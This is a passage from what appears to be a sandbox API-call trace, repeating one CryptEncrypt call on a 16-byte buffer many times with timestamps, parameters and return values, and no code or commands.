pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.293] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.294] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.295] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.296] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.297] 